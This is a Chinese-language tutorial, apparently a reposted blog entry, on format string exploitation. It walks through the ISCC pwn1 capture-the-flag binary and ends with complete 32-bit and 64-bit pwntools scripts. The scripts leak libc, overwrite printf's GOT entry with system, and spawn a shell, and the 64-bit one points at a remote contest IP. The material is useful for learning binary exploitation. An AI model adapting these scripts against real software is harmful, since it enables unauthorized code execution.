格式化字符串利用小结
Posted Yable
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了格式化字符串利用小结相关的知识,希望对你有一定的参考价值。
格式化字符串漏洞基本原理:
Printf()函数的一般形式为printf(“format”,输出表列),其第一个参数就是格式化字符串,用来告诉程序以什么格式进行输出。正常情况下,这样使用:
char str[100];
scanf(“%s”,str);
printf(“%s”,str);
但也有人这么用:
char str[100]
scanf(“%s”,str);
printf(str)
也许代码编写者的本意只是单纯打印一段字符(如“hello world”),但如果这段字符串来源于外部用户可控的输入,则该用户完全可以在字符串中嵌入格式化字符(如%s)。那么,由于printf允许参数个数不固定,故printf会自动将这段字符当作format参数,而用其后内存中的数据匹配format参数。
以上图为例,假设调用printf(str)时的栈是这样的:
(1)如果str就是“Hello word”,则直接输出“hello world”
(2)如果str是format,例如:%2$p,就会输出format偏移2处到内存地址的内容!
实例分析:
下面我们来通过ISCC pwn1的格式化字符从来进行分析:
首先看下文件
file pwn1 pwn1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs),
for GNU/Linux 2.6.24, BuildID[sha1]=cdb7eaa63202024dd348ac15b485b751b55eafa8, not stripped
运行下程序:
查看下保护机制:
发现只有NX保护机制。
看下反编译的源码:
发现漏洞在printf输出的地方。测试下:
果然出现了打印地址的情况,说明存在格式户字符串漏洞。
我们来调试熟悉格式化字符串的利用:
%c:输出字符,配上%n可用于向指定地址写数据。
%d:输出十进制整数,配上%n可用于向指定地址写数据。
%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。
%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。
%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。
%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100x%10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。
%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。
1、%x打印内存数据
首先在printf处下一个断点:
运行输入%x:
程序段在了我们的断点处。C继续运行
发现程序打印出了,format偏移1处的内存中的内容。
现在我们输入%5$x 看打印的内容是不是:0x1
果然输出了我们想要预设的偏移为5的数据,即为1.
2、%p打印内存数据
%p的用法和%x的用法相同,不同的是%p会在打印的数据前面添加上0x(输出16进制数据)。例如%5$p
然后试一下偏移四处的栈数据即我们预测的0xaffd014.输入%4$p,看效果。可以发现打印的是带有0x的数据内容,即十六进制数据。
3、%s打印内存数据
%i&s是打印处偏移i处地址里面数据指向的内存地址的内容。例如我们通过%3$s以字符串格式打印偏移3处的内容,就是0xffffd074指向的内容,即为0xffffd26c,下面我们看效果。
会发现打印的是L***为什么不是0xffffd26c呢?别急,看下转码。
内存小端存储,是以 6c d2 ff ff 形式存储,打印的就是0xffffd26c转换为字符串之后的形式。
4、%n写入内存数据
%n和%s类似,会把%好之前的字符个数,写入第i处数据指向的地址空间,我们实验下AAA%3$n,看看会不会把3写入到0xffffd074指向的内存,即覆盖0xffffd26c.
会看到,我们成功将3写入了0xffffd074指向的数据。这样我们就能够利用这一点来修改got表的地址了。
如果要写入具体的数据可以通过%datax%n$n,例如要写入数据0x48到偏移删除的位置,可以用%72x%3$n.(72是0x48的十进制数据。)
调试看效果:
可以发现偏移三处的位置,0xffffd074指向的数据被我们修改为了0x48(\'H\').
后面我们会结合实际的例题来完整的实例脚本。
还是这道题pwn1,刚刚我们对格式化字符串的参数利用方法,下面就是利用方式了。先看脚本:
32位:
1 from pwn import* 2 3 local =1 4 debug = 1 5 6 if local: 7 p = process(\'./pwn1\') 8 else: 9 p = remote("127.0.0.1",8080) 10 11 #context.log_level = \'debug\' 12 \'\'\' 13 if debug: 14 gdb.attach(p) 15 \'\'\' 16 def fms(data): 17 p.recvuntil("input$",timeout=4) 18 p.sendline("1") 19 p.recvuntil("please input your name:\\n") 20 p.sendline(data) 21 22 23 libc = ELF("/lib/i386-linux-gnu/libc.so.6") 24 elf = ELF(\'./pwn1\') 25 26 fms(\'%35$p\') 27 28 libc_start_main_addr = int(p.recv(10),16) - 243 #__libc_start_main 29 libc_addr = libc_start_main_addr - libc.symbols[\'__libc_start_main\'] 30 print "libc_addr =",hex(libc_addr) 31 32 printf_got = elf.got[\'printf\'] 33 print "printf_got =",hex(printf_got) 34 35 system_addr =libc_addr + libc.symbols[\'system\'] 36 print "system_addr =",hex(system_addr) 37 38 #make stack 39 make_stack = \'a\' * 0x30 + p32(printf_got) + p32(printf_got + 0x1) 40 fms(make_stack) 41 #gdb.attach(p) 42 43 payload = "%" + str(((system_addr & 0x000000FF))) + "x%18$hhn" 44 payload += "%" + str(((system_addr & 0x00FFFF00) >> 8) - (system_addr & 0x000000FF)) + "x%19$hn" 45 print "payload=",payload 46 47 fms(payload) 48 fms(\'/bin/sh\\x00\') 49 p.interactive()
看下这条语句:
make_stack = \'a\' * 0x30 + p32(printf_got) + p32(printf_got + 0x1)
目的是抬高栈:防止写入的数据被程序执行过程中被覆盖,语句如下,0x30这个数值可以自己定义。剩下的工作就是调试寻找偏移地址了。
利用思路:
1、泄露地址:__libc_start_main —>libc_addr
2、修改printf的got表内的地址为system函数的地址。
3、通过源程序中的printf(/bin/sh),就变成了system(/bin/sh),取得了shell了。
64位:
from pwn import* local =0 debug = 0 if local: p = process(\'./pwn1\') else: p = remote("101.71.29.5",10040) context_log_level = \'debug\' if debug: gdb.attach(p) def fms(data): p.sendline(data) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") elf = ELF(\'./pwn1\') fms(\'%43$p\') libc_start_main_addr = int(p.recv(20),16) - 240 print "libc_start_main_addr =",hex(libc_start_main_addr) libc_addr = libc_start_main_addr - libc.symbols[\'__libc_start_main\'] print "libc_addr =",hex(libc_addr) printf_got = elf.got[\'printf\'] print "printf_got =",hex(printf_got) system_addr =libc_addr + libc.symbols[\'system\'] #system_addr = 0x12345678 print "system_addr =",hex(system_addr) make_stack = \'A\' * 0x50 + p64(printf_got) + p64(printf_got + 0x1) fms(make_stack) payload = "%" + str(((system_addr & 0x000000FF))) + "x%18$hhn" payload += "%" + str(((system_addr & 0x00FFFF00) >> 8) - (system_addr & 0x000000FF)) + "x%19$hn" print "payload=",payload #gdb.attach(p,open(\'bb\')) fms(payload) fms(\'/bin/sh\\x00\') p.interactive()
参考链接:http://bobao.360.cn/learning/detail/3654.html
以上是关于格式化字符串利用小结的主要内容,如果未能解决你的问题,请参考以下文章